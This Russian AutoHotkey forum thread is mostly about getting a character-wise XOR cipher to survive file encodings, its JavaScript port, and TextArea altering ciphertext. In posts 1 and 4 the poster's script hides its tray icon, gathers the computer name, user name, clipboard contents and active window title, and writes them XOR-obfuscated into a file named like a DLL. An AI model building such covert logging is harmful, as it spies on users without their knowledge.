1

Тема: AHK: Кодировка при XOR

Написал скрипт для шифрования через XOR текста.

Шифрование


; ----------- настройки ------------
;Не показывать значок скрипта в трее
#NoTrayIcon
;Попытки запустить скрипт снова игнорируются
#SingleInstance ignore
;Отменяет проверку для пустых переменных, не являются ли они переменными окружения 
#NoEnv
;путь к логу (файю/поток ntfs)
pathtofile:="go.dll"

text=
;добавление в начало лога различной информации
text=%text%[>>Start program =[%A_DD%/%A_MM%/%A_YYYY% %A_hour%:%A_min% ] <<]`n
text=%text%[Сетевое имя компьютера => %A_ComputerName% ]`n
text=%text%[Имя пользователя => %A_UserName% ]`n


;шифрование
encodetext:=Cipher(text)
;запись
FileAppend, %encodetext%, %pathtofile%


; =============== Функция шифр/расшифрования ====================
Cipher(Src)  ; Два последних ключа необязательны.
{
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
        Dest .= Chr(Asc(A_LoopField) ^ Asc("a")) ;Посимвольный XOR (ключ 'a')
    }
Return Dest
}

Дешифрование


;Дешифровка

inputfile=go.dll
outputfile=go.txt

Loop, read, %inputfile%
{
    text:=Cipher(A_LoopReadLine)
    FileAppend, %text%, %outputfile%
}

; =============== Функция шифр/расшифрования ====================
Cipher(Src)  ; Два последних ключа необязательны.
{
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
        Dest .= Chr(Asc(A_LoopField) ^ Asc("a")) ;Посимвольный XOR (ключ 'a')
    }
Return Dest
}

После шифрования


:__2AA\:PXNPSNSQPRAPR[USA<A]]<k:рєУєѓџєAљ?ЮAћџ?ўЭЯУєСёA\_A".#3 A<k:??ЮAўџњЭіџѓёУєњЮA\_A"A<k

После дешифрования (некорректные символы)


[>>Strt progrm =[12/12/2013 10:42 ] <<]
[Сетевое и^я ко^пьютера => SORRA ]
[^^я пользователя => Border ]

Не понимаю в чём проблема . Пытался сам .ahk и в ASCII и в UTF-8 запускать

2

Re: AHK: Кодировка при XOR

spacetest пишет:

; Два последних ключа необязательны.

О каких ключах идёт речь, где они перечислены?

С буквой "a" понятно — Asc("a") ^ Asc("a") равно нулю, а Chr(0) — отсутствует. Остальное — какие-то проблемы с кодировками, вот так, например, всё работает, если пользоваться Unicode-версией AHK, что всегда предпочтительнее.

Text = Имя пользователя

MsgBox, % Text := Cipher(Text)
MsgBox, % Cipher(Text)

Cipher(Src)
{
   Loop, Parse, Src  ; Перебор символов текста.
      Dest .= Chr(Asc(A_LoopField) ^ Asc("a")) ;Посимвольный XOR (ключ 'a')
   
   Return Dest
}
Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

3

Re: AHK: Кодировка при XOR

С буквой "a" понятно — Asc("a") ^ Asc("a") равно нулю

А как-же тогда кодировать латинскую "a".

Text = Имя пользователяa 
По вопросам возмездной помощи пишите на E-Mail: serzh82saratov@mail.ru Telegram: https://t.me/sergiol982
Win10x64 AhkSpy, Hotkey, ClockGui

4 (изменено: spacetest, 2013-12-19 21:43:43)

Re: AHK: Кодировка при XOR

Когда без файлов всё работает, но с файлами беда
Насчёт одинаковых символов понял, что потеря данных и поэтому добавил условие


; ----------- настройки ------------
;Не показывать значок скрипта в трее
#NoTrayIcon
;Попытки запустить скрипт снова игнорируются
#SingleInstance ignore
;Отменяет проверку для пустых переменных, не являются ли они переменными окружения 
#NoEnv
;путь к логу (файю/поток ntfs)
pathtofile:="1.dll"

; ----------- одноразовые действия ------------
text=
;добавление в начало лога различной информации
text=%text%[>>Start program =[%A_DD%/%A_MM%/%A_YYYY% %A_hour%:%A_min% ] <<]`n
text=%text%[Сетевое имя компьютера => %A_ComputerName% ]`n
text=%text%[Имя пользователя => %A_UserName% ]`n

;запоминание буфера обмена
buffer0=%clipboard%
;добавление содержимое буфера обмена в лог
text=%text%`n [* %buffer% *] `n
;получение заголовка активного окна
WinGetActiveTitle, Title0
;добавление заголовка в лог
text=%text%`n #==# %Title0% =>

;шифрование
encodetext:=Cipher(text)
;запись
FileAppend, %encodetext%, %pathtofile%

Cipher(Src)
{
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
        temp=%A_LoopField%
        if (temp <> "a") temp:=Chr(Asc(A_LoopField) ^ Asc("a")) ;Посимвольный XOR (ключ 'a')
        Dest .=temp
    }
Return Dest
}



;Дешифровка

inputfile=1.dll
outputfile=2.txt

Loop, read, %inputfile%
{
    text:=Cipher(A_LoopReadLine)
    FileAppend, %text%, %outputfile%
}

; =============== Функция шифр/расшифрования ====================
Cipher(Src)
{
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
        temp=%A_LoopField%
        if (temp <>"a") temp:=Chr(Asc(A_LoopField) ^ Asc("a")) ;Посимвольный XOR (ключ 'a')
        Dest .=temp
    }
Return Dest
}

Все равно проблемы с итоговым файлом

При разработке использую Notepad++ (ASCII)

5

Re: AHK: Кодировка при XOR

С файлами, да. Их много разных. А также много символов которых нет в Asc таблице.
Кодируйте тогда байты. Для вставки своего текста определяйте кодировку исходного файла, и в этой кодировке добавляйте свой текст в файл (это теория), ну и далее кодируйте байты, и создавайтё из них кодированный файл.

По вопросам возмездной помощи пишите на E-Mail: serzh82saratov@mail.ru Telegram: https://t.me/sergiol982
Win10x64 AhkSpy, Hotkey, ClockGui

6

Re: AHK: Кодировка при XOR

serzh82saratov пишет:

С файлами, да. Их много разных. А также много символов которых нет в Asc таблице.
Кодируйте тогда байты. Для вставки своего текста определяйте кодировку исходного файла, и в этой кодировке добавляйте свой текст в файл (это теория), ну и далее кодируйте байты, и создавайтё из них кодированный файл.

Не могли бы вы помочь, а то у меня на Ahk мало опыта и много времени уходит на исправление глупых ошибок
(кавычки, знак присвоения)

7

Re: AHK: Кодировка при XOR

(кавычки, знак присвоения)

Это не понял.

Не могли бы вы помочь, а то у меня на Ahk мало опыта

У меня тоже мало опыта (понимания), тут наброски побайтового шифрования:
http://forum.script-coding.com/viewtopi … 610#p76610

и в этой кодировке добавляйте свой текст в файл (это теория),

а тут нужно время, увы нет.

По вопросам возмездной помощи пишите на E-Mail: serzh82saratov@mail.ru Telegram: https://t.me/sergiol982
Win10x64 AhkSpy, Hotkey, ClockGui

8

Re: AHK: Кодировка при XOR

teadrinker пишет:
spacetest пишет:

; Два последних ключа необязательны.

О каких ключах идёт речь, где они перечислены?

Видимо, здесь.

9

Re: AHK: Кодировка при XOR

Точно!

Разработка AHK-скриптов:
e-mail dfiveg@mail.ru
Telegram jollycoder

10

Re: AHK: Кодировка при XOR

Вот пример работы с файлами. Шифр сохраняется и читается как UTF-16, чтобы избежать перекодировки.


Key1 = AutoHotkey forever!
Key2 = Хрен поймёшь, что тут написано.
Key3 = 1234567890

SrcFile = D:\Prog\Temp\Text.txt
DestFile = D:\Prog\Temp\Shifr.txt

File := FileOpen(SrcFile, "r")  ; Читаем исходный текст.
Text := File.Read()
File.Close()

MsgBox, % Text

Shifr := Cipher(Text, Key1, Key2, Key3)  ; Шифруем.
MsgBox, % Shifr

File := FileOpen(DestFile, "w", "UTF-16")   ; Сохраняем шифр в файл.
File.Write(Shifr)
File.Close()

File := FileOpen(DestFile, "r", "UTF-16")   ; Читаем шифр из файла.
Shifr := File.Read()
File.Close()

Text := Cipher(Shifr, Key3, Key2, Key1) ; Дешифруем, ключи в обратном порядке.
MsgBox, % Text


; =============== Функция шифровки/дешифровки ====================

Cipher(Src, Key1, Key2 = 0, Key3 = 0)  ; Два последних ключа необязательны.
{
  Loop, 3
  {
    If not Key%A_Index%
      Break
    StringSplit, Keys, Key%A_Index%  ; Разбиваем фразу на отдельные ключи.
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
      Index := Mod(A_Index, Keys0) + 1  ; Чтобы Index не вышел за пределы
                                        ; числа символов в ключевой фразе.
      Key := Asc(Keys%Index%)   ; Очередной ключ.
      Code := Asc(A_LoopField)  ; Код очередного символа текста.
      Dest .= Chr(Code = Key ? Code : Code ^ Key) ; Шифруем и добавляем.
    }
    Src := Dest
  }
  Return Dest
}

11

Re: AHK: Кодировка при XOR

Прекрасно, всё работает!
Наверно, чтобы не мучится с кодировками можно попробовать байтовое чтение\шифрование\запись.

12

Re: AHK: Кодировка при XOR

Бинарное? Можно, почему нет. У объекта File есть методы для бинарного чтения и записи, RawRead и RawWrite. Есть в АНК функции NumGet и NumPut для чтения и записи чисел в память.

13 (изменено: Onix, 2015-01-07 10:58:41)

Re: AHK: Кодировка при XOR

YMP пишет:

Вот пример работы с файлами. Шифр сохраняется и читается как UTF-16, чтобы избежать перекодировки.


Key1 = AutoHotkey forever!
Key2 = Хрен поймёшь, что тут написано.
Key3 = 1234567890

SrcFile = D:\Prog\Temp\Text.txt
DestFile = D:\Prog\Temp\Shifr.txt

File := FileOpen(SrcFile, "r")  ; Читаем исходный текст.
Text := File.Read()
File.Close()

MsgBox, % Text

Shifr := Cipher(Text, Key1, Key2, Key3)  ; Шифруем.
MsgBox, % Shifr

File := FileOpen(DestFile, "w", "UTF-16")   ; Сохраняем шифр в файл.
File.Write(Shifr)
File.Close()

File := FileOpen(DestFile, "r", "UTF-16")   ; Читаем шифр из файла.
Shifr := File.Read()
File.Close()

Text := Cipher(Shifr, Key3, Key2, Key1) ; Дешифруем, ключи в обратном порядке.
MsgBox, % Text


; =============== Функция шифровки/дешифровки ====================

Cipher(Src, Key1, Key2 = 0, Key3 = 0)  ; Два последних ключа необязательны.
{
  Loop, 3
  {
    If not Key%A_Index%
      Break
    StringSplit, Keys, Key%A_Index%  ; Разбиваем фразу на отдельные ключи.
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
      Index := Mod(A_Index, Keys0) + 1  ; Чтобы Index не вышел за пределы
                                        ; числа символов в ключевой фразе.
      Key := Asc(Keys%Index%)   ; Очередной ключ.
      Code := Asc(A_LoopField)  ; Код очередного символа текста.
      Dest .= Chr(Code = Key ? Code : Code ^ Key) ; Шифруем и добавляем.
    }
    Src := Dest
  }
  Return Dest
}

Могли ли вы показать пример только шифрования без файлов , но по переменным .

SrcPer := 2939213 ; - символы которые надо будет зашифровать.
DestPer := ..... ; Выходная переменная в которую будут записаны уже зашифрованные символы.

Извиняюсь , нашел.

http://forum.script-coding.com/viewtopic.php?id=3208

14 (изменено: avens, 2015-02-11 17:21:34)

Re: AHK: Кодировка при XOR

Как можно сделать с помощью AHK, что бы результат шифрования текста с одинаковым ключом был таким же как например в этом XOR шифровании на JavaScript?

В вашем AHK примере результат шифрования текста: ABC с ключом 111 равно: psr
А в этом примере скрипта на JavaScript равно: PPP

В чем здесь может быть отличие шифрования этих скриптов?

В конечном счете мне подойдут любые примеры скриптов на AHK и JavaScript, что бы при шифровке или расшифровке текста с одинаковыми ключами результат был такой же и в AHK скрипте и в JavaScript.

15

Re: AHK: Кодировка при XOR

В алгоритме различие, видимо. Нужно понять тамошний алгоритм и реализовать его на АНК. Или наоборот.

16 (изменено: avens, 2015-02-12 16:24:44)

Re: AHK: Кодировка при XOR

Нашел аналогичный алгоритм шифровки как в AHK, на php, вот здесь.
Данный скрипт на php довольно простенький как мне кажется

Пытаюсь переделать его на JavaScript, никак не пойму как переделать эту строку:

function EncryptString(text, key) {
    var outText = "";
    for (var i = 0; i < text.length;)
    {
        for (var j = 0; j < key.length; j++, i++)
        {
            //$outText .= $text{$i} ^ $key{$j}; //Строка на PHP
            //outText +???= text.???(i) ^ key.???(j); //Как это переделать на JavaScript?
        }
    }
    return outText;
}

17

Re: AHK: Кодировка при XOR

Наверно, так:


function EncryptString(text, key) {
    var outText = "";
    for (var i = 0; i < text.length;)
    {
        for (var j = 0; j < key.length; j++, i++)
        {
            outText += String.fromCharCode(text.charCodeAt(i) ^ key.charCodeAt(j));
        }
    }
    return outText;
}

18 (изменено: avens, 2015-02-12 18:20:52)

Re: AHK: Кодировка при XOR

Все работает, благодарю!

Еще такой вопрос, нашел вот здесь, два кода на php только шифруют они в другом алгоритме, но вот автор пишет что закодированный текст первого варианта можно взломать, а в другом используется алгоритм по надежнее. Вот тут возник вопрос в выше изложенных вариантах на AHK и аналогичном на PHP и JavaScript? текст надежно шифруется, или большие знаток получив зашифрованный код смогут его расшифровать?

19

Re: AHK: Кодировка при XOR

Нет, не очень надёжно. Для бытовых целей, так сказать, сгодится, но не для серьёзных. Ключ короткий. В том моём примере, что в Коллекции, используются три ключа, которые накладываются друг на друга и образуют очень длинный ключ.

Вообще, советую вам почитать про шифрование в той же Википедии, чтобы получить общее представление о том, что надёжно, а что нет. Я не спец по этому вопросу, т.к. на практике мне это пока не нужно было.

Кстати, функция на JavaScript не совсем так работает, как мой код. У меня, если код символа текста совпадает с кодом символа ключа, ксор не производится, т.к. при этом получился бы нулевой код символа, а в АНК он воспринимается как конец строки. Поэтому такой символ текста моя функция оставляет без изменений.

20

Re: AHK: Кодировка при XOR

Что надо в этом JavaScript добавить что бы он наконец то стал шифровать аналогично вашему AHK скрипту, хотя бы как вариант с одним ключом?

21

Re: AHK: Кодировка при XOR

Так, наверно:


function EncryptString(text, key) {
    var outText = "", code_t, code_k;
    for (var i = 0; i < text.length;)
    {
        for (var j = 0; j < key.length && i < text.length; j++, i++)
        {
            code_t = text.charCodeAt(i); code_k = key.charCodeAt(j);
            if (code_t != code_k) {
                outText += String.fromCharCode(code_t ^ code_k);
            }
            else {
                outText += String.fromCharCode(code_t);
            }
        }
    }
    return outText;
}

22

Re: AHK: Кодировка при XOR

Все равно есть различия, вот мой JS код полностью:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>JavaScript XOR</title>
<head>
 
<script language="JavaScript">
function EncryptString(text, key) {
    var outText = "", code_t, code_k;
    for (var i = 0; i < text.length;)
    {
        for (var j = 0; j < key.length && i < text.length; j++, i++)
        {
            code_t = text.charCodeAt(i); code_k = key.charCodeAt(j);
            if (code_t != code_k) {
                outText += String.fromCharCode(code_t ^ code_k);
            }
            else {
                outText += String.fromCharCode(code_t);
            }
        }
    }
    return outText;
}


</script>
</head>
 
<body>
 
<center>
<form name=box>
<table cellpadding=0 cellspacing=0 border=0>
<tr>
<td colspan=3>
<textarea wrap=soft cols=40 rows=5 wrap=virtual name=ipt>Hello!</textarea>
</td>
</tr>
<tr height=50>
<td align=center>
<input type=button onclick="document.box.ipt.value=EncryptString(document.box.ipt.value,document.box.pwd.value);" value="Encrypt / Decrypt"><br>
Value:  <input type=text name=pwd value="12345">
</td>
</tr>
</table>
</form>
</center>
 
</body>
</html>

23

Re: AHK: Кодировка при XOR

Тогда давайте пример текста, на котором есть различия, и каким ключом шифруете.

24

Re: AHK: Кодировка при XOR

Текст есть в этом примере выше на JS
Вот он:

Текст = Hello!
Ключ = 12345

JS    = yW_XZ
AHK = zVXY^

25

Re: AHK: Кодировка при XOR

Хм... Да, разница налицо. Но это уже на завтра отложу, а то уже мозги не работают.

26

Re: AHK: Кодировка при XOR


function EncryptString(text, key) {
    var outText = "", code_t, code_k, j;
    var key_length = key.length;
    for (var i = 0; i < text.length; ++i)
    {
        j = (i + 1) % key_length;
        code_t = text.charCodeAt(i); code_k = key.charCodeAt(j);
        if (code_t != code_k) {
            outText += String.fromCharCode(code_t ^ code_k);
        }
        else {
            outText += String.fromCharCode(code_t);
        }
    }
    return outText;
}

27

Re: AHK: Кодировка при XOR

Латиницу шифрует аналогично, а вот кириллицу почему то нет..
Кодировку пробовал менять в JS документе, но все равно, видимо не в это дело.

Текст = Привет Мир!
Ключ = 12345

JS    = ЭѳЌЇЄѰШЍѱ
AHK = эГЬЧФАшЭБ

28

Re: AHK: Кодировка при XOR

А АНК юникодный используете?

29

Re: AHK: Кодировка при XOR

Нет, AutoHotkey у меня ANSI.

30

Re: AHK: Кодировка при XOR

Отсюда и разница, т.к. в JS строки юникодные. Для английского это значения не имеет, а вот у русских букв коды уже другие.

31

Re: AHK: Кодировка при XOR

А можно как то используя AHK ANSI решить эту задачу? Или без юникодной версии AHK не получится?

32

Re: AHK: Кодировка при XOR

А почему вы держитесь за ANSI? В чём причина?

33

Re: AHK: Кодировка при XOR

В том что у меня обычно создаваемые и используемые файлы на кодировке ANSI.
Как то раз по ошибке установил юникод версию, так не привычно и кодировки файлов пришлось бы менять.
В остальном не знаю чем она лучше ANSI.

34

Re: AHK: Кодировка при XOR

Ну, вот хотя бы тем, что совместима с JS по кодировке строк. Кодировку скриптов менять не нужно. С какими файлами у вас были проблемы и какие именно?

35

Re: AHK: Кодировка при XOR

Сейчас уже и не вспомню. Попробую поставить юникод версию.

36

Re: AHK: Кодировка при XOR

Ну вот на нем не работает скрипт RecodeTextENRU
Наверное какие то несовместимости имеются..

;--------------------- RecodeTextENRU -------------------------------------------------------------
#LButton:: RecodeTextENRU()
RecodeTextENRU() 
{ 
   StringCaseSense On
   ClipTemp := Clipboard
   Clipboard =
   AutoTrim,Off 

   clipSave:=clipAnsi() 
   send ^{Insert} 
   Sleep,50 
   if clipboard =  ;Если текст не выделен и буфер пуст, то отменить предвидущее действие.
   {
      Send ^{sc02C} ;Ctrl+Z
      return
   }

   dest= 
   text:=clipAnsi() 
   StringCaseSense,On 
   prevCharToEN=0 
   ;      АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ 
   RUtoEN=F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Zf,dult;pbqrkvyjghcnea[wxio]sm'.z 
   RUtoSP1=ёхъжэбюЁХЪЖЭБЮ.,/"№;:? 
   RUtoSP2=``[];',.~{}:"<>/?|@#$^& 
   ;"       ABCDEFGHIJKLMNOPQRSTUVWXYZ 
   ENtoRU=ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯфисвуапршолдьтщзйкыегмцчня 

   loop,parse,text 
   { 
      destChar=%A_LoopField% 

      ; Check explicit (non punctuations) ranges 
      ifGreaterOrEqual,A_LoopField,А 
         prevCharToEN=1 
      else if A_LoopField between A and Z 
         prevCharToEN=0 
      else if A_LoopField between a and z 
         prevCharToEN=0 

      ; to Russian 
      SendMessage, 0x50,, 0x4190419,, A ; Русский
      ifEqual,prevCharToEN,0 
      {   StringGetPos,i,RUtoEN,%A_LoopField% 
         ifEqual,ErrorLevel,0 
            Transform,destChar,chr,% i + 0xC0 
         else 
         {   StringGetPos,i,RUtoSP2,%A_LoopField% 
            ifEqual,ErrorLevel,0 
               StringMid,destChar,RUtoSP1,% i+1, 1 
         } 
      } 


      ; to English because nothing changed 
      ifEqual,destChar,%A_LoopField%
      { 
         StringGetPos,i,ENtoRU,%A_LoopField% 
         ifEqual,ErrorLevel,0 
            Transform,destChar,chr,% i + (i>=26 ? 71 : 65) 
         else ; check .,;':"[]{} 
         {   StringGetPos,i,RUtoSP1,%A_LoopField% 
            ifEqual,ErrorLevel,0,StringMid,destChar,RUtoSP2,% i+1, 1 
         } 
         ifNotEqual,destChar,%A_LoopField% 
            prevCharToEN=1 
            SendMessage, 0x50,, 0x4090409,, A ; Английский
      } 
      dest=%dest%%destChar% 
   } 

   ; Decide compatibility of unicode clipboard 
   WinGetClass,cls,A 
   if cls in TMsgEditor,wndclass_desked_gsk 
   { 
      ControlGetFocus,cls,A 
      ifInString,cls,TXTRichEdit 
         clipSetUnicode(dest) 
      else 
         Clipboard=%dest% 
   } 
   else 
      clipSetUnicode(dest) 
   Sleep,50 
   Send +{Insert} 
   Sleep 50 

   clipSetUnicode(clipSave) 
   ;LangSwitch() 
} 

; Read unicode clipboard into ansi string 
clipAnsi() 
{ 
   StringLen,L,Clipboard 
   L:=(L+1)*4 
   transform,ca_Clip,unicode 
   varSetCapacity(ca_WideText,L,0) 
   varSetCapacity(ca_AnsiText,L,0) 
   ; Convert UTF-8 to UTF-16.   CP_UTF8=65001 
   if dllCall("MultiByteToWideChar",uint,65001, uint,0, str,ca_Clip 
              , uint,-1, str,ca_WideText, uint,L/2) 
      dllCall("WideCharToMultiByte",uint,0, uint,0, str,ca_WideText 
              , uint,-1, str,ca_AnsiText, uint,L/2, uint,0, uint,0) 
      ; Convert UTF-16 to ANSI.  CP_ACP=0 
   return ca_AnsiText 
} 

;--------------------------------------------------------------------
; Copy ansi string to clipboard in unicode mode 
clipSetUnicode(cu_AnsiText) 
{ 
   StringLen,L,cu_AnsiText 
   L:=(L+1)*4 
   varSetCapacity(cu_WideText,L,0) 
   varSetCapacity(cu_UTFtext,L,0) 
   ; ANSI to UTF-16.   CP_ACP=0 
   if dllCall("MultiByteToWideChar",uint,0, uint,0, str,cu_AnsiText 
              , uint,-1, str,cu_WideText, uint,L/2) 
      dllCall("WideCharToMultiByte",uint,65001, uint,0, str,cu_WideText 
              , uint,-1, str,cu_UTFtext, uint,L/2, uint,0, uint,0) 
      ; Convert UTF-16 to UTF-8.  CP_UTF8=65001 
   transform,clipboard,unicode,%cu_UTFtext% 
}
Clipboard = %ClipTemp%
return

37

Re: AHK: Кодировка при XOR

А что он делает?

38

Re: AHK: Кодировка при XOR

YMP пишет:

А что он делает?

Изменяет раскладку выделенного текста. Я его немного модифицировал. Этот скрипт есть здесь и здесь.

39

Re: AHK: Кодировка при XOR

Для такой ерунды такой здоровый скрипт? В нём полдня разбираться надо.
Строки, которые вы шифруете, вообще откуда берутся? И куда потом деваются? Можно предварительно переводить их в Юникод. Только результат уже в MsgBox правильно не отобразится в ANSI-AHK.

40

Re: AHK: Кодировка при XOR

Ну я его только немного модифицировал, остальное такое как и было на исходном ресурсе.
Но что то там оно все таки делает, раз есть в коллекции этого форума, или может попроще еще никто не придумал..
По сути то есть готовые строки с символами, надо как то по позиции символов сравнивать и заменять.

41

Re: AHK: Кодировка при XOR

В Коллекции есть такой скрипт от teadrinker'a: http://forum.script-coding.com/viewtopic.php?id=7186.
Он не годится?

42

Re: AHK: Кодировка при XOR

Он даже получше будет! И функция смены регистра есть!
Хорошо, все работает, благодарю!

43

Re: AHK: Кодировка при XOR

YMP пишет:

function EncryptString(text, key) {
    var outText = "", code_t, code_k, j;
    var key_length = key.length;
    for (var i = 0; i < text.length; ++i)
    {
        j = (i + 1) % key_length;
        code_t = text.charCodeAt(i); code_k = key.charCodeAt(j);
        if (code_t != code_k) {
            outText += String.fromCharCode(code_t ^ code_k);
        }
        else {
            outText += String.fromCharCode(code_t);
        }
    }
    return outText;
}

Почему то не весь текст этот JS переводит корректно.
Аналог на AHK переводит отлично.
Использую AutoHotkey Unicode
Пример на JS файл с кодировкой UTF-8 без BOM

Пример на JavaScript:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>JavaScript XOR</title>
<head>
 
<script language="JavaScript">
function EncryptString(text, key) {
    var outText = "", code_t, code_k, j;
    var key_length = key.length;
    for (var i = 0; i < text.length; ++i)
    {
        j = (i + 1) % key_length;
        code_t = text.charCodeAt(i); code_k = key.charCodeAt(j);
        if (code_t != code_k) {
            outText += String.fromCharCode(code_t ^ code_k);
        }
        else {
            outText += String.fromCharCode(code_t);
        }
    }
    return outText;
}


</script>
</head>
 
<body>
 
<center>
<form name=box>
<table cellpadding=0 cellspacing=0 border=0>
<tr>
<td colspan=3>
<textarea wrap=soft cols=40 rows=5 wrap=virtual name=ipt>
Hello!
#right-column {float: left;  height: auto;  width: 200px;  padding-bottom: 0;  padding-left: 4px;  padding-right: 4px; padding-top: 4px;}
    </textarea>
</td>
</tr>


<tr height=50>
<td align=center>
<input type=button onclick="document.box.ipt.value=EncryptString(document.box.ipt.value,document.box.pwd.value);" value="Encrypt / Decrypt"><br>
Value:  <input type=text name=pwd value="b32fa9bf953d9">
</td>
</tr>
</table>
</form>
</center>
 
</body>
</html>

Тот же пример на AHK:

Text =
(
#right-column {float: left;  height: auto;  width: 200px;  padding-bottom: 0;  padding-left: 4px;  padding-right: 4px; padding-top: 4px;}
)

Key1 = b32fa9bf953d9

MsgBox % Shifr := Cipher(Text, Key1)  ; Шифруем.
MsgBox % Text := Cipher(Shifr, Key1) ; Дешифруем, ключи в обратном порядке.

; =============== Функция шифровки/дешифровки ====================
Cipher(Src, Key1, Key2 = 0, Key3 = 0)  ; Два последних ключа необязательны.
{
  Loop, 3
  {
    If not Key%A_Index%
      Break
    StringSplit, Keys, Key%A_Index%  ; Разбиваем фразу на отдельные ключи.
    Dest =
    Loop, Parse, Src  ; Перебор символов текста.
    {
      Index := Mod(A_Index, Keys0) + 1  ; Чтобы Index не вышел за пределы
                                        ; числа символов в ключевой фразе.
      Key := Asc(Keys%Index%)   ; Очередной ключ.
      Code := Asc(A_LoopField)  ; Код очередного символа текста.
      Dest .= Chr(Code = Key ? Code : Code ^ Key) ; Шифруем и добавляем.
    }
    Src := Dest
  }
  Return Dest
}
; ================================================================

44

Re: AHK: Кодировка при XOR

Функция кодирует нормально. Но вы пропускаете закодированный текст через TextArea, и там он изменяется. Конкретно, возврат каретки (код 13) заменяется на перевод строки (код 10). Не исключено, что и другие замены возможны, если в шифре будут какие-то неприемлемые для TextArea символы. Отсюда и различия в раскодированном тексте.

45

Re: AHK: Кодировка при XOR

Как тогда можно решить задачу используя TextArea или какую то альтернативу ему?

46

Re: AHK: Кодировка при XOR

Это зависит от того, в чём заключается задача.

47

Re: AHK: Кодировка при XOR

В том что бы с помощью TextArea или другого альтернативного способа передавать приемлемые для функции шифрования символы.

48

Re: AHK: Кодировка при XOR

Так проблема не в шифровании, а в расшифровке. Я ведь написал выше, что вы уже кодированный текст пропускаете через TextArea.

49 (изменено: avens, 2015-03-19 13:24:46)

Re: AHK: Кодировка при XOR

Ну тогда мне надо использовать данную JS функцию шифрования как в примере этого html файла пропуская через TextArea кодированный и не кодированный текст.
Так возможно как то без помех пропускать кодированный текст через TextArea или какую-то альтернативу ему?

50

Re: AHK: Кодировка при XOR

Через TextArea невозможно, как видно из вашего примера. Закодированный текст, строго говоря, уже не текст. Поэтому обращение с ним как с текстом чревато его искажением. Предугадать, как тот или иной контрол или объект поступит с символами, которые ему не понравятся, невозможно.

Если вам нужно, чтобы результат кодирования текста тоже был текстом, причём таким, который гарантированно не будет нигде "исправлен", тогда вам нужен какой-то другой алгоритм кодирования. Простым ксором тут не обойтись.

Какова ваша задача в общем виде? Для чего пропускать кодированный текст через TextArea?

51

Re: AHK: Кодировка при XOR

Цель такова подгружается файл с закодированным текстовым содержимым, помещается в TextArea, далее по нажатию кнопки дешифруется с помощью этой функции на JS.
Я тут подумал в таком случае может закодированное содержимое которое подгружается с файла, не помещать в TextArea, а сразу в переменной расшифровывать и уже расшифрованный текст помещать в TextArea.
В таком случае будет корректно?

52

Re: AHK: Кодировка при XOR

Не знаю. Каким образом вы читаете файл? Если с помощью FileSystemObject, то там опять же файлы читаются как текстовые. Так что кто его знает.

53

Re: AHK: Кодировка при XOR

Читаю с помощью той функции: http://javascript.ru/php/file_get_contents

54

Re: AHK: Кодировка при XOR

Логично предположить, что свойство responseText возвращает текст.

55

Re: AHK: Кодировка при XOR

Что тогда на JS можно использовать что бы загружать файл не как текст, а как данные?

56

Re: AHK: Кодировка при XOR

Не знаю. Возможно, есть какие-то сторонние объекты для работы с бинарными файлами. Нужно, чтобы файл читался в строку, но не как текст. Сами по себе строки в JS позволяют хранить в себе всё что угодно.

А вы пробовали этот responseText? Может, он и не меняет ничего, кто его знает.

57

Re: AHK: Кодировка при XOR

Что то сервер или медленный интернет не открывают страницу, позже протестирую и напишу.

58

Re: AHK: Кодировка при XOR

YMP пишет:

Не знаю. Возможно, есть какие-то сторонние объекты для работы с бинарными файлами. Нужно, чтобы файл читался в строку, но не как текст. Сами по себе строки в JS позволяют хранить в себе всё что угодно.

А вы пробовали этот responseText? Может, он и не меняет ничего, кто его знает.

Проверил, работает. Данные полученные из текста из примера выше, возвращает как надо, далее в TextArea можно помещать готовый расшифрованный текст.